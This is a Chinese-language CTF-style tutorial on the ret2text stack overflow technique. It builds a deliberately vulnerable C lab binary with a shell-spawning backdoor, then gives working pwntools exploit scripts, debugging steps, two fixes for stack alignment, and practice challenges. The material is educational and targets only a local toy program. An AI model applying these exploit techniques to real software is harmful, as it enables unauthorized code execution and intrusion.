%%本节前置:Stack-1,Stack-2-1,Bk-3%%
本节正式介绍ret2text
的相关内容。在上一节中,我们详细讲解了栈溢出的重要攻击手法ROP,现在,我们正式学习第一种典型ROP,return to text section,即ret2text
技术梗概
正如其名,ret2text
要求控制程序执行流到程序本身的代码段.text
节中。一般的ret2text
题目在程序中都留有后门backdoor,我们只需要劫持程序执行流到该后门的地址即可。利用栈溢出,覆写返回地址为后门地址,劫持程序执行流。
实际上,这种攻击方法是一种笼统的表述。大部分的gadgets
都存放在.text
段中,使用gadget
的时候也在进行ret2text
。我们在上一节中举出的例子其实也是ret2text
,只不过此时的text
指的是Text Segment而非.text
节。
正因如此,ret2text
是一种入门的,基础的ROP,学习ret2text
是体会栈溢出ROP攻击手法思想的重要方法,延伸至后续,我们通常需要将多种手法综合使用来构造攻击链。
技术详解
实验测试
我们由一个实验来理解这个最简单的攻击手法。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void backdoor()
{
system("/bin/sh\x00");
}
int main()
{
char buffer[0x10];
read(0, buffer, 0x100);
return 0;
}
用以下命令编译
gcc -fno-stack-protector -no-pie -z lazy -O0 Lab-s-2-1-1.c -o Lab-s-2-1-1
程序很简单,显然在read(0, buffer, 0x100)
存在栈溢出。我们的目的是执行到backdoor()
,但是在main()
函数中并未执行到backdoor()
。那么很明显,我们通过溢出点覆盖到返回地址,劫持程序执行流至backdoor
尝试构造以下Payload
payload = cyclic(0x10 + 0x8) + p64(backdoor_addr)
cyclic(0x10 + 0x8)
:填充0x18
个有序数据。这是pwntools
提供的生成字符串的函数,可以用于测试buf大小。
为什么是0x18? 我们的
buffer
大小是0x10
,那么填充完buffer
理论只需要0x10
,剩余的0x8
实际上是之前push进栈的rbp
p64(backdoor_addr)
:以64位形式打包backdoor_addr
。用于覆盖返回地址。
可以在IDA中检查一下栈结构
-0000000000000010 buf db 16 dup(?)
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
如图所示,我们布置如上的栈结构。完整EXP如下。
from pwn import *
io = process("./Lab-s-2-1-1")
backdoor_addr = 0x401136
payload = cyclic(0x18) + p64(backdoor_addr)
io.sendline(payload)
io.interactive()
理论上来说这样就可以了,我们试着运行一下。
[+] Starting local process './Lab-s-2-1-1': pid 8357
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
[*] Process './Lab-s-2-1-1' stopped with exit code -11 (SIGSEGV) (pid 8357)
[*] Got EOF while sending in interactive
可以看得出现了段错误-11。这种错误一般发生在栈溢出之后未能成功控制程序执行流。那肯定是哪里出了问题,我们可以用调试来检查。
修改EXP如下
from pwn import *
context(arch='amd64',os='linux',log_level='debug',terminal=['tmux','splitw','-h'])
def debug():
gdb.attach(io)
pause()
io = process("./Lab-s-2-1-1")
backdoor_addr = 0x401136
payload = cyclic(0x18) + p64(backdoor_addr)
debug()
io.sendline(payload)
io.interactive()
简单介绍一下
context()
用于指定全局变量- 指定架构为x86_64
- 指定系统为linux
- 指定日志等级为debug,使其显示更多信息
- 显式指定终端类型为tmux,方便调试
- 定义
debug()
,逻辑是执行完以上程序后附着gdb开始调试
以上演示的是我们经常会用到的一种调试方法。
启动脚本开始调试
我们可以查看一下当前的栈结构
pwndbg> stack
栈结构正确。我们看一下当前的程序执行流。
成功跳转到了backdoor
中,那么为什么会报错呢,我们进入backdoor
进行调试。
执行到这里,我们si
进入system
中。
继续调试
可以看到执行到这里就卡住了。并且抛出了一个错误。
<0x7ffd2dd86388> not aligned to 16 bytes
地址0x7ffd2dd86388
没有16字节对齐
解决异常-栈对齐
64位ubuntu18以上系统调用system函数时是需要栈对齐的。具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐
在刚刚的调试中,我们发现在0x7ffd2dd86388
处没有栈对齐。
16字节对齐要求栈地址必须以0结尾
那么如何对齐呢?我们知道,64位所有地址都是8字节,所以栈地址的末尾不是0就是8.我们查看一下backdoor
的汇编。
我们的程序在ret
之后是从push rbp
开始执行的,如果我们跳过这个对栈操作的指令,那么就可以让栈少一个内存单元,自然就对齐了。
修改EXP如下
from pwn import *
io = process("./Lab-s-2-1-1")
backdoor_addr = 0x401136 + 1 #这里跳过了push
payload = cyclic(0x18) + p64(backdoor_addr)
io.sendline(payload)
io.interactive()
❯ python exp.py
[+] Starting local process './Lab-s-2-1-1': pid 10672
[*] Switching to interactive mode
$ whoami
K4per
除此之外,我们还有一种原教旨主义的栈对齐方式。我们知道刚刚的对齐方式是跳过了一次压栈,同样的,我们如果在调用system
之前弹栈一次,也可以对齐栈。用什么弹栈呢?用什么在不影响程序执行流的基础上能弹栈一次呢?答案是:ret
我们用ROPgadget
工具寻找一下只有ret
的gadget。
ROPgadget --binary Lab-s-2-1-1 --only "ret"
修改刚刚的payload
payload = cyclic(0x18) + p64(ret_addr) + p64(backdoor_addr)
读者可以自己画一下栈结构,体会一下这里布置栈的构思。
完整EXP如下
from pwn import *
io = process("./Lab-s-2-1-1")
backdoor_addr = 0x401136
ret_addr = 0x40101a
payload = cyclic(0x18) + p64(ret_addr) + p64(backdoor_addr)
io.sendline(payload)
io.interactive()
❯ python exp.py
[+] Starting local process './Lab-s-2-1-1': pid 10930
[*] Switching to interactive mode
$ whoami
K4per
总结
本节我们学习了ROP的第一种典型利用ret2text
,以及在攻击中遇到的栈对齐问题。熟悉一个知识的最好方法就是练习,以下给出三道练习题作为作业。
Challenge-1 where is my binsh?
我找不到‘/bin/sh’了?哦哦,原来在这里。
Challenge-2 shitIDA From QYQS
汇编是pwner的基本功
Challenge-3 ezJump From 4ak5rak0uj1
喜欢我3字节吗老弟?